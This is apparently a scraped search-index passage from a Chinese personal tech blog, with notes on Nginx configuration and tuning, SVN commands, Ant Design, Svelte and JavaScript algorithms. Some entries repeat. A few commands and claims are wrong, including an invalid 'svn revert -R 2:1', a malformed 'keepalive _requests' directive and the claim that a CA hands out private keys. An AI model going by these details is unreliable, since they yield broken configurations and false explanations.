no-cache no-store private auth; # 当nginx是反向代理时数据的压缩，expired表示启动压缩，如果header头中包含 \u0026quot;Expires\u0026quot; 头信息，，只有off是关闭数据压缩，any是无条件启动压缩 server_tokens off; # 隐藏版本号，避免404暴露nginx的版本 access_log off; # nginx访问日志存储位置（off为关闭访问日志） server { listen 80; # 监听端口 server_name localhost; # 配置域名 index index.html index.htm index.php; # 默认页面 root /www/server/phpmyadmin; # 服务默认启动目录 error_page 404 /404.html; # 404配置页面 error_page 500 502 503 504 /50x.html # 50x服务错误配置页面 include fastcgi.conf; # 使用fastCGI解析php location / { root /www/wwwroot; index index.html index.htm index.php; } access_log /www/wwwlogs/access.log; # nginx访问日志存储位置（off为关闭访问日志） } 可以看到网站根目录在/www/wwwroot\n强制停止nginx服务 nginx -s stop\n非强制停止（等待进程完成任务后停止） nginx -s quit\n重载配置文件 nginx -s reload\n限制访问权限\nlocation / { root /www/wwwroot; index index.html index.htm index.php; allow 192.168.1.128; # 限制只有192.168.1.128可访问 deny all # 禁止访问 } nginx虚拟主机（可基于端口，域名（ip），别名设置虚拟主机）\nserver{ listen 80; server_name localhost; index index.html index.htm index.php; } server{ listen 80; server_name abc.xiaochenabc123.test.com; index index.html index.htm index.php; } server{ listen 80; # 监听端口 listen 443 ssl http2; # 设置https ssl server_name xiaochenabc123.test.com; # 配置域名 index index.php index.html index.htm default.php default.htm default.html; } 在上面例子中，可以看到端口都是80，但是域名不同，也就是说这里设置了3个虚拟主机，虚拟主机配置除了设置在/nginx/nginx.conf中，还可以设置在子配置文件（nginx/conf.d/default.conf）中，不同的虚拟主机都可设置在不同的子配置文件中\n反向代理\nserver{ listen 80; server_name abc.xiaochenabc123.test.com; location / { proxy_pass http://xiaochenabc123.test.com; index index.html; } } 在该配置中，访问abc.xiaochenabc123.test.com会反向代理到http://xiaochenabc123.test.com中\nNginx命令（例如nginx -s quit）\n查看帮助\nnginx -?或者nginx -h\n使用指定配置文件\nnginx -c nginx-01.conf\n指定配置指令（覆盖nginx.conf内的指令）\nnginx -g \u0026ldquo;user root;\u0026rdquo;\n立即关闭nginx服务\nnginx -s stop\n处理完毕全部请求后再停止服务\nnginx -s quit\n重载配置文件\nnginx -s reload\n重新记录日志\nnginx -s reopen\n查看配置文件是否出错（大小写都可以）\nnginx -t\n查看nginx信息（大V是编译信息小写v是版本信息）\nnginx -v\n指定nginx运行目录\nnginx -p /nginx/\n开启缓存\nproxy_cache_path /data/cache levels=1:2 keys_zone=oncache:10m max_size=10g inactive=60m;\n/data/cache是缓存目录，levels是缓存目录的优先级，例如1:2（二级目录），表示/data是一级目录，/cache是二级目录，keys_zone是定义共享内存区的名称和大小（oncache是名称，10m是内存区的大小），max_size是缓存的最大大小，inactive表示该缓存不在该指定时间内被访问，将从缓存中删除\nGoaccess（可视化监控access日志）\nSSL证书\n申请人通过登记机构（具备验证申请人的身份）发送证书签名申请（CSR）到CA机构，CA机构再将公钥私钥发送给登记机构，登记机构再给申请人\n当访问服务端时，会发送申请证书的请求，服务端接收到请求时会将公钥发送给客户端，客户端会验证证书的有效性，CA会将过期证书发送给CRL服务器（浏览器验证时发送请求给CRL服务器）（性能很差），一般通过OCSP（在线证书状态协议）验证，OCSP是服务端主动获取的结果，然后随着握手协商时发送给客户端，不需要客户端去验证\n开启OCSP Stapling\nserver { listen 443 ssl; server_name test.xiaochenabc123.test.com; ssl_stapling on; ssl_stapling_verify on; resolver 8.8.8.8 8.8.4.4 valid=300s; #OCSP请求的DNS服务器 resolver_timeout 5s; ssl_trusted_certificate nginx.pem; #证书公钥（pem格式） } 查看是否开启OCSP Stapling\nopenssl.exe s_client -connect https://test.xiaochenabc123.test.com:443 -status\n没有开启会返回OCSP response: no response sent\n","permalink":"https://chenjunlinabc.github.io/posts/85/","summary":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.","title":"简单使用Nginx"},{"content":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.log crit; # 错误日志存储位置 pid /www/server/nginx/logs/nginx.pid; # 进程PID存储位置 events{ worker_connections 51200; # 单个后台进程的最大并发数 multi_accept on; # 一个进程可以同时接受所有的新连接，关闭（off）的话一个进程只能接收一个连接，默认值为off关闭 } http{ include mime.types; # 文件扩展和类型的映射表 default_type application/octet-stream; # 默认文件的类型 server_names_hash_bucket_size 512; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 50m; gzip on; # 开启gzip压缩 gzip_min_length 1k; # 设置允许压缩的最小的字节数，这里设置1k，就是只有超过1k的文件才会被压缩 gzip_buffers 4 16k; # 以16k为单位，以16k的4倍申请存储gzip压缩的数据流内存 gzip_http_version 1.1; # 只有当http1.1协议版本可以执行gzip压缩 gzip_comp_level 2; # 压缩比 gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml; # 设置匹配MIME类型进行压缩，默认text/html是始终被压缩的 gzip_vary on; gzip_proxied expired no-cache no-store private auth; # 当nginx是反向代理时数据的压缩，expired表示启动压缩，如果header头中包含 \u0026quot;Expires\u0026quot; 头信息，，只有off是关闭数据压缩，any是无条件启动压缩 server_tokens off; # 隐藏版本号，避免404暴露nginx的版本 access_log off; # nginx访问日志存储位置（off为关闭访问日志） server { listen 80; # 监听端口 server_name localhost; # 配置域名 index index.html index.htm index.php; # 默认页面 root /www/server/phpmyadmin; # 服务默认启动目录 error_page 404 /404.html; # 404配置页面 error_page 500 502 503 504 /50x.html # 50x服务错误配置页面 include fastcgi.conf; # 使用fastCGI解析php location / { root /www/wwwroot; index index.html index.htm index.php; } access_log /www/wwwlogs/access.log; # nginx访问日志存储位置（off为关闭访问日志） } 可以看到网站根目录在/www/wwwroot\n强制停止nginx服务 nginx -s stop\n非强制停止（等待进程完成任务后停止） nginx -s quit\n重载配置文件 nginx -s reload\n限制访问权限\nlocation / { root /www/wwwroot; index index.html index.htm index.php; allow 192.168.1.128; # 限制只有192.168.1.128可访问 deny all # 禁止访问 } nginx虚拟主机（可基于端口，域名（ip），别名设置虚拟主机）\nserver{ listen 80; server_name localhost; index index.html index.htm index.php; } server{ listen 80; server_name abc.xiaochenabc123.test.com; index index.html index.htm index.php; } server{ listen 80; # 监听端口 listen 443 ssl http2; # 设置https ssl server_name xiaochenabc123.test.com; # 配置域名 index index.php index.html index.htm default.php default.htm default.html; } 在上面例子中，可以看到端口都是80，但是域名不同，也就是说这里设置了3个虚拟主机，虚拟主机配置除了设置在/nginx/nginx.conf中，还可以设置在子配置文件（nginx/conf.d/default.conf）中，不同的虚拟主机都可设置在不同的子配置文件中\n反向代理\nserver{ listen 80; server_name abc.xiaochenabc123.test.com; location / { proxy_pass http://xiaochenabc123.test.com; index index.html; } } 在该配置中，访问abc.xiaochenabc123.test.com会反向代理到http://xiaochenabc123.test.com中\nNginx命令（例如nginx -s quit）\n查看帮助\nnginx -?或者nginx -h\n使用指定配置文件\nnginx -c nginx-01.conf\n指定配置指令（覆盖nginx.conf内的指令）\nnginx -g \u0026ldquo;user root;\u0026rdquo;\n立即关闭nginx服务\nnginx -s stop\n处理完毕全部请求后再停止服务\nnginx -s quit\n重载配置文件\nnginx -s reload\n重新记录日志\nnginx -s reopen\n查看配置文件是否出错（大小写都可以）\nnginx -t\n查看nginx信息（大V是编译信息小写v是版本信息）\nnginx -v\n指定nginx运行目录\nnginx -p /nginx/\n开启缓存\nproxy_cache_path /data/cache levels=1:2 keys_zone=oncache:10m max_size=10g inactive=60m;\n/data/cache是缓存目录，levels是缓存目录的优先级，例如1:2（二级目录），表示/data是一级目录，/cache是二级目录，keys_zone是定义共享内存区的名称和大小（oncache是名称，10m是内存区的大小），max_size是缓存的最大大小，inactive表示该缓存不在该指定时间内被访问，将从缓存中删除\nproxy_cache_path的上下文是http段\nGoaccess（可视化监控access日志）\nSSL证书\n申请人通过登记机构（具备验证申请人的身份）发送证书签名申请（CSR）到CA机构，CA机构再将公钥私钥发送给登记机构，登记机构再给申请人\n当访问服务端时，会发送申请证书的请求，服务端接收到请求时会将公钥发送给客户端，客户端会验证证书的有效性，CA会将过期证书发送给CRL服务器（浏览器验证时发送请求给CRL服务器）（性能很差），一般通过OCSP（在线证书状态协议）验证，OCSP是服务端主动获取的结果，然后随着握手协商时发送给客户端，不需要客户端去验证\n开启OCSP Stapling\nserver { listen 443 ssl; server_name test.xiaochenabc123.test.com; ssl_stapling on; ssl_stapling_verify on; resolver 8.8.8.8 8.8.4.4 valid=300s; #OCSP请求的DNS服务器 resolver_timeout 5s; ssl_trusted_certificate nginx.pem; #证书公钥（pem格式） } 查看是否开启OCSP Stapling\nopenssl.exe s_client -connect https://test.xiaochenabc123.test.com:443 -status\n没有开启会返回OCSP response: no response sent\nnginx负载均衡（将请求转发给多个服务端去执行，每个服务端的任务一般是一样的）\nnginx配置\nupstream test_server{ server 198.168.1.2:81 weight=10 max_conns=3000 fail_timeout=10s max_fails=3; #权重为10（默认为1，指定该上游服务端的最大并发连接数为1000，在10秒内判断2次上游服务端不可用时，将在这10秒内不进行请求转发 server 198.168.1.3:82 weight=1 max_conns=500 fail_timeout=10s max_fails=2; server 198.168.1.4:83 weight=5 max_conns=1000 fail_timeout=10s max_fails=2 backup; # backup，备用服务端标记，只有当其他服务端不可用时才进行请求转发，down，标记是离线服务端，不会进行请求转发 server 198.168.1.5:80 weight=5 max_conns=1000 fail_timeout=10s max_fails=2; server 198.168.1.6:8080 weight=10 max_conns=2000 fail_timeout=10s max_fails=2; server 198.168.1.7:85 weight=5 max_conns=1000 fail_timeout=10s max_fails=2 down; server test1.xiaochenabc123.test.com:5000 weight=20 max_conns=5000 fail_timeout=10s max_fails=5; keepalive 32; # worker子进程与上游服务端空闲的长连接数为32 keepalive _requests 50; # 每个长连接最多只能处理50个HTTP请求（默认值为100） keepalive _timeout 30s; #nginx与上游服务端空闲长连接的最长生存时间，默认为60秒 } server{ listen 80; server_name test.xiaochenabc123.test.com location /test/ { proxy_pass http://test_server; } } 测试\ncurl test.xiaochenabc123.test.com\n负载均衡算法\n哈希算法（根据某些参数来决定，只有参数不变时将一直使用该代理服务）\nupstream test_server1{ hash $request_uri; # 当uri不发送改变，那么负责处理该请求的上游服务端将会一直不变，也可以是其他参数 server 198.168.1.2:80; server 198.168.1.3:80; } ip_hash算法\nupstream test_server1{ ip_hash; # 根据ip来决定，如果ip不发生改变，将一直使用该代理服务 server 198.168.1.2:80; server 198.168.1.3:80; } 最少连接数算法\nupstream test_server1{ zone testserver 10M; # 创建共享内存，通过共享内存来让全部的worker子进程对负载均衡策略生效，上游服务的状态数据都存放在该功能内存中 least_conn; # 选择连接数最少的服务端，并且对该服务端进行加权，让它能够获取更多连接 server 198.168.1.2:80; server 198.168.1.3:80; } 性能优化\nworker子进程数，worker_processes 8;\nworker子进程与CPU核心绑定，如果是4个CPU核心，worker_cpu_affinity 0001 0010 0100 1000;\nworker子进程与CPU核心绑定的好处：更好的利用CPU核心内部的一级缓存，二级缓存（增加缓存命中率）\n位数表示使用多少个核心，个数为多少个进程，如果是0101 1010，将表示4个核心，使用2个进程\n设置worker子进程的优先级，worker_priority -20;\n提高worker子进程的优先级，可以分配更大的CPU时间片，让worker子进程更优先的进行工作\n优先级为-20到19，值越小优先级越高\n延迟处理新连接的请求，listen 80 deferred;\ndeferred表示在3次握手中，检测到客户端进行http请求数据时，tcp状态才设置连接成功（tcp连接成功会唤醒nginx进程，如果没有请求数据，只进行连接TCP，完全没有必要nginx进程），否则丢弃\n优化TCP连接\n当nginx作为中间件时，向上游服务获取数据时，需要进行TCP连接，对下游客户端也是需要进行TCP连接\n以下配置都是要用到/etc/sysctl.conf的系统控制文件，这个文件是配置内核参数等信息的\nnet.ipv4.tcp_syn_retries = 6，这个设置决定了上游（上游一直没有返回SYN+ACK包）在TCP连接中超时，最多重发多少次SYN包，在Linux下默认为6，并且TCP连接超时为127秒，这个值越小，认定TCP连接超时的时间越短，认定TCP连接超时会关闭连接（占用TCP连接会消耗CPU和内存）\nnet.ipv4.tcp_synack_retries = 5，这个设置决定了SYN+ACK确认包的重发次数，默认为5，这个值越小，认定TCP连接超时的时间越短\nnet.ipv4.tcp_syncookies = 1，1为开启tcp_syncookies，在进行TCP第一次握手时，如果syn_backlog队列满了，会丢弃SYN包，开启tcp_syncookies将不会丢弃，而是使用syncookie进行握手\nnet.core.netdev_max_backlog = 262144，决定能接收数据包的最大长度队列\nnet.core.somaxconn = 128，决定同时发起的TCP连接数，默认为128，可以调高该值，避免连接超时或者重传\nnet.ipv4.tcp_max_orphans = 16384，决定孤立连接（主动断开方关闭进程，表示进程与这个连接没有关系了，就成了孤立连接，也就是FIN_WAIT1状态）的最大数量，当孤立连接超过该值，后续新增的孤立连接将不会走4次挥手流程，而是直接通过发送RST报文来强制关闭连接\nnet.ipv4.tcp_max_syn_backlog = 128，决定处于SYN_RECV状态的TCP连接数（第二次握手，服务端发送SYN确认包后），超过设置数会丢弃第三次的SYN报文\nnet.ipv4.tcp_abort_on_overflow = 1，决定了TCP连接建立完成后，如果backlog队列满了，TCP连接将回退到SYN+ACK状态，开启该设置，会发送RST包给客户端，进行终止该词连接，如果没有必要请勿开启\nnet.ipv4.ip_local_port_range = 32768 61000，限制服务端对外和本地的端口范围（每个TCP连接都需要占用一个本地的端口，如果本地端口满了，将无法创建新的TCP连接）\nnet.ipv4.tcp_tw_reuse = 1，复用TIME_WAIT状态的连接，开启这个可以快速复用TIME_WAIT状态的连接\nnet.ipv4.tcp_fastopen = 1，TFO功能，开启该功能会在三次握手时，发送syn包给上游，上游根据ip生成cookie，并且和syn+ack一起发送给下游（下游缓存这个cookie），下游与上游进行第二连接时，发送syn包给上游会携带这个cookie，上游验证后发送SYN-ACK包，就可以发送数据（数据在SYN包中），省去第三次握手，下游发送ACK确认上游的数据，如果cookie无效，将会丢弃SYN包中的数据，发送正常的SYN-ACK包，并且完成第三次握手，进行TFO功能的TCP连接依赖于这个cookie\n/etc/sysctl.conf配置生效可以使用sysctl -p命令\n","permalink":"https://chenjunlinabc.github.io/posts/85/","summary":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.","title":"简单使用Nginx HTTP服务器软件"},{"content":"SVN全名Subversion，即版本控制系统\n和Git不同，Git是分布式，而SVN是集中式\n在commit没有冲突的时候，会合并\n而存在冲突那么就需要先手动处理冲突再commit\n源代码库：源代码统一存放的地方\n获取：到源代码库获取一份源代码\n提交：已经修改了源代码，想提交到源代码库\n更新：更新同步和源代码库一样的源代码\n安装SVN\ndnf install subversion\n创建版本库\ncd /svn/demo\nsvnadmin create /svn/demo\n其中conf/svnserve.conf文件是svn服务配置文件\nanon-access = read auth-access = write password-db = passwd authz-db = authz realm = /svn/demo\npasswd文件为账号密码文件\n格式为：账号=密码，例如：abc = root\nauthz为权限控制文件\n格式为：账号=rw（r读，w写），例如：abc=rw\n启动版本库\nsvnserve -d -r /svn/demo \u0026ndash;listen-port 3690\n\u0026ndash;listen-port是指定svn监听端口，默认是3690，-r是指定版本库\n停止svn服务\nkillall svnserve\n检出：从版本库中创建副本，在其修改，再提交到版本库中\n例如：\nsvn checkout svn:xxx/demo \u0026ndash;username=root\n因为root有读写权限，因此将会在本地获取到demo的副本\n更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效\nsvn update\n默认是更新到最新版本，也可以指定更新到哪个版本\nsvn update -r 2 demo\n提交\nsvn commit -m \u0026ldquo;hello svn\u0026rdquo;\n查看副本状态\nsvn status\n如果出现?，则表示还没有加入版本控制中，出现A，表示已经加入版本控制中\n添加文件到版本控制中\nsvn add demo\nadd只是将其添加到版本控制中，还没有提交到版本库中\n提交到版本库中\nsvn commit -m \u0026ldquo;hello svn\u0026rdquo;\n版本回退（当想放弃当前文件的修改，想恢复到之前的文件）\nsvn revert -R demo\n将demo目录回退到修改之前的状态，不加-R则是文件回退\n当然也可以回退到指定版本\nsvn revert -R 2:1 demo\n从版本2回退到版本1\n查看历史信息\n查看指定版本之间的信息（版本作者，日期，路径）\nsvn log -r 2:1\n查看文件的版本修改信息\nsvn log /demo/index.html\n获取目录和显示指定条数的\nsvn log -l 2 -v\n查看历史修改情况（比如本地修改，副本和版本库）\nsvn diff\n默认会比较副本文件和缓存在.svn中的原始的改变\n比较副本和指定版本\nsvn diff -r 2 index.html\n版本和版本的比较\nsvn diff -r 1:2 index.html\n查看过去版本的内容\nsvn cat -r 2 index.html\n查看远程库的文件列表（不下载）\nsvn list svn:xxx/demo\n分支\n创建分支\n切换分支\n合并分支\n标签\n","permalink":"https://chenjunlinabc.github.io/posts/84/","summary":"SVN全名Subversion，即版本控制系统\n和Git不同，Git是分布式，而SVN是集中式\n在commit没有冲突的时候，会合并\n而存在冲突那么就需要先手动处理冲突再commit\n源代码库：源代码统一存放的地方\n获取：到源代码库获取一份源代码\n提交：已经修改了源代码，想提交到源代码库\n更新：更新同步和源代码库一样的源代码\n安装SVN\ndnf install subversion\n创建版本库\ncd /svn/demo\nsvnadmin create /svn/demo\n其中conf/svnserve.conf文件是svn服务配置文件\nanon-access = read auth-access = write password-db = passwd authz-db = authz realm = /svn/demo\npasswd文件为账号密码文件\n格式为：账号=密码，例如：abc = root\nauthz为权限控制文件\n格式为：账号=rw（r读，w写），例如：abc=rw\n启动版本库\nsvnserve -d -r /svn/demo \u0026ndash;listen-port 3690\n\u0026ndash;listen-port是指定svn监听端口，默认是3690，-r是指定版本库\n停止svn服务\nkillall svnserve\n检出：从版本库中创建副本，在其修改，再提交到版本库中\n例如：\nsvn checkout svn:xxx/demo \u0026ndash;username=root\n因为root有读写权限，因此将会在本地获取到demo的副本\n更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效\nsvn update\n默认是更新到最新版本，也可以指定更新到哪个版本\nsvn update -r 2 demo\n提交\nsvn commit -m \u0026ldquo;hello svn\u0026rdquo;","title":"SVN版本控制系统学习笔记"},{"content":"Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架\n官网：https://ant.design/index-cn\n使用create-react-app初始项目\nyarn create react-app antd-demo\n运行\nyarn start\n安装antd组件库\nyarn add antd\n通过import { 组件名 } from \u0026ldquo;antd\u0026quot;方式导入antd组件\n导入antd css样式\n@import \u0026lsquo;~antd/dist/antd.css\u0026rsquo;;\n在typescript上使用\nyarn create react-app antd-demo-ts \u0026ndash;template typescript\nAntd的样式使用了less作为开发语言\n第一个实例demo\nimport 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( \u0026lt;Space direction=\u0026quot;vertical\u0026quot;\u0026gt; \u0026lt;DatePicker/\u0026gt; \u0026lt;/Space\u0026gt;, document.getElementById('root'), ); ","permalink":"https://chenjunlinabc.github.io/posts/82/","summary":"Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架\n官网：https://ant.design/index-cn\n使用create-react-app初始项目\nyarn create react-app antd-demo\n运行\nyarn start\n安装antd组件库\nyarn add antd\n通过import { 组件名 } from \u0026ldquo;antd\u0026quot;方式导入antd组件\n导入antd css样式\n@import \u0026lsquo;~antd/dist/antd.css\u0026rsquo;;\n在typescript上使用\nyarn create react-app antd-demo-ts \u0026ndash;template typescript\nAntd的样式使用了less作为开发语言\n第一个实例demo\nimport 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( \u0026lt;Space direction=\u0026quot;vertical\u0026quot;\u0026gt; \u0026lt;DatePicker/\u0026gt; \u0026lt;/Space\u0026gt;, document.getElementById('root'), ); ","title":"简单使用Ant Design组件库"},{"content":"Svelte的核心思想在于通过静态编译减少框架运行时的代码量\nSvelte风格和vue相似，模板用{}来表示\nSvelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）\n初始化\nnpx degit sveltejs/template demo\nyarn\nyarn dev\n修改src\\App.svelte和src\\main.js\n\u0026lt;script\u0026gt; let name = 'world' \u0026lt;/script\u0026gt; \u0026lt;h1\u0026gt;Hello {name}!\u0026lt;/h1\u0026gt; 导入组件\nimport Hallo from './hallo.svelte' ... \u0026lt;Hallo/\u0026gt; 如果想将HTML渲染到组件中可以使用 let string = \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt; {@html string}\n事件响应\nfunction aClick() { count += 1 } ... \u0026lt;button on:click={aClick}\u0026gt;{count}\u0026lt;/button\u0026gt; ","permalink":"https://chenjunlinabc.github.io/posts/80/","summary":"Svelte的核心思想在于通过静态编译减少框架运行时的代码量\nSvelte风格和vue相似，模板用{}来表示\nSvelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）\n初始化\nnpx degit sveltejs/template demo\nyarn\nyarn dev\n修改src\\App.svelte和src\\main.js\n\u0026lt;script\u0026gt; let name = 'world' \u0026lt;/script\u0026gt; \u0026lt;h1\u0026gt;Hello {name}!\u0026lt;/h1\u0026gt; 导入组件\nimport Hallo from './hallo.svelte' ... \u0026lt;Hallo/\u0026gt; 如果想将HTML渲染到组件中可以使用 let string = \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt; {@html string}\n事件响应\nfunction aClick() { count += 1 } ... \u0026lt;button on:click={aClick}\u0026gt;{count}\u0026lt;/button\u0026gt; ","title":"Svelte学习笔记"},{"content":"虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写\n算法不会被程序语言所限制，也不会一个实现只有一个算法\n常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）\n算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)\n大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同\n一个算法执行的时间和解决问题的规模大小相关\n假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)\n大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少\n时间复杂度：\nO(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Complexity: 对数复杂度 O(n): Linear Complexity: 线性时间复杂度 O(n^2): N square Complexity 平⽅方 O(n^3): N square Complexity ⽴立⽅方 O(2^n): Exponential Growth 指数 O(n!): Factorial 阶乘\n算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）\n删除有序数组中的重复项\n保证有序数组中的元素是不重复的，也就是说不存在重复的元素\n有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的\n例如：\nlet arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a\u0026lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上\n搜索数组的目标值，返回其索引值\n通过有序整型数组和一个目标值，寻找目标值，并且返回其索引值，当目标值不存在时，返回-1\nlet search = function(nums, target) { for(let a=0;a\u0026lt;nums.length;a++){ if(nums[a] == target){ return a } } return -1 } 字符串反转\n将数组nums里面的字符串，顺序倒过来，在不创建新数组的位置前提下\nlet reverseString = function(nums) { var a=0,b=nums.length-1 while(a\u0026lt;b){ let temp =nums[a] nums[a] = nums[b] nums[b] = temp a++ b-- } } 二分查找\n二分查找实质就是将数组分开，用中间的数值来对目标值进行比较，大了就是减，小了就加\n一直找到最后的那个目标值，这个算法对比冒泡一个个查找更有效，因为其只需要遍历极少的次数\n注意：二分查找必须是有序数组，无序数组没有用，因为它要一个个进行大小比较\n像猜1到100的数，就可以从50开始比较，如果50大了，那么就是1到49之间有目标值，如果猜25，如果小了，那么就是26到49的之间有目标数，一直判断，直到等于目标值，依此类推，每次判断都会少一半的错误值，例如：n个元素的列表，二次查找的只需要log2n次就可以找到目标值（log是指对数，指的是对求幂的逆运算，例如6的3次方就是216，那么用对数表示为log6 216，求6要相乘几次才能得到216这个结果，结果为3）\n例如：\nfunction xyz(list,int){ var a = 0 var b = list.length -1 while (a \u0026lt;= b) { var c = a + Math.floor((b - a) / 2) if(list[c] \u0026lt; int){ a = c +1 }else if(list[c] \u0026gt; int){ b = c - 1 }else{ return c } } return -1 } var abc = [1,3,5,6,7,10,30,55,66,99,1234] xyz(abc,99) 如果猜测的次数和列表长度相同，那么就是线性时间（linear time，O(n)），算法的运行时间会以不同的速度而增加，对数为O(log n 